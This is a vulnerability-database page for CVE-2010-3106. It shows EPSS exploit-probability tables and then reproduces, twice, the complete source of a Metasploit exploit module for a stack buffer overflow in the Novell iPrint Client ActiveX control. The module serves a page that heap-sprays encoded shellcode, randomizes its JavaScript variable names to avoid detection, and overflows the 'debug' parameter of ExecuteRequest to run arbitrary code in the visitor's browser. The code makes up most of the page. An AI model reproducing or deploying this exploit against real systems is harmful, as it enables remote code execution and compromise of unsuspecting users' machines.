CVE-2010-3106 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	71.53%	–	–
2023-03-12	–	–	–	11.23%	–
2023-04-16	–	–	–	20.96%	–
2023-06-04	–	–	–	23.72%	–
2023-07-23	–	–	–	20.18%	–
2023-09-10	–	–	–	26.03%	–
2023-12-10	–	–	–	15.83%	–
2024-01-21	–	–	–	19.62%	–
2024-03-03	–	–	–	18.4%	–
2024-06-02	–	–	–	17.46%	–
2024-06-02	–	–	–	17.46%	–
2024-07-14	–	–	–	21.07%	–
2024-08-25	–	–	–	19.88%	–
2024-12-15	–	–	–	19.88%	–
2024-12-22	–	–	–	18.41%	–
2025-01-12	–	–	–	22.96%	–
2025-01-19	–	–	–	22.96%	–
2025-03-18	–	–	–	–	61.75%
2025-03-18	–	–	–	–	61.75,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	94%
2023-04-16	96%
2023-06-04	96%
2023-07-23	96%
2023-09-10	96%
2023-12-10	95%
2024-01-21	96%
2024-03-03	96%
2024-06-02	96%
2024-06-02	96%
2024-07-14	96%
2024-08-25	96%
2024-12-15	97%
2024-12-22	96%
2025-01-12	97%
2025-01-19	97%
2025-03-18	98%
2025-03-18	98%

## # novelliprint_executerequest_dbg.rb # # Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.3.2.0 and 5.4.0.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-3106 # - OSVDB 66960 # - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs # - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit # - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control debug Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40. When sending an overly long string to the 'debug' parameter in ExecuteRequest() property of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com' ], 'Version' => '$Revision:$', 'References' => [ [ 'CVE', '2010-3106' ], [ 'OSVDB', '66960'], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs [ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ] ], 'DisclosureDate' => 'Aug 04 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" op = "op-client-interface-version" dbg = "debug=" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_op = rand_text_alpha(rand(100) + 1) j_dbg = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <object classid='clsid:#{clsid}' id='#{ienipp}'></object> <script> var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape('#{nops}'); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}); var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace}); while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; var #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; } var #{j_ret} = ''; for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) { #{j_ret} += unescape('#{ret}'); } #{j_op} = "#{op}"; #{j_dbg} = "#{dbg}"; #{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret}); </script> </html>| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

## # $Id: novelliprint_executerequest_dbg.rb 10429 2010-09-21 18:46:29Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # novelliprint_executerequest_dbg.rb # # Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.3.2.0 and 5.4.0.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-3106 # - OSVDB 66960 # - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs # - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit # - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40. When sending an overly long string to the 'debug' parameter in ExecuteRequest() property of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com' ], 'Version' => '$Revision: 10429 $', 'References' => [ [ 'CVE', '2010-3106' ], [ 'OSVDB', '66960'], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs [ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ] ], 'DisclosureDate' => 'Aug 04 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" op = "op-client-interface-version" dbg = "debug=" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_op = rand_text_alpha(rand(100) + 1) j_dbg = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <object classid='clsid:#{clsid}' id='#{ienipp}'></object> <script> var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape('#{nops}'); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}); var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace}); while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; var #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; } var #{j_ret} = ''; for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) { #{j_ret} += unescape('#{ret}'); } #{j_op} = "#{op}"; #{j_dbg} = "#{dbg}"; #{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret}); </script> </html>| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end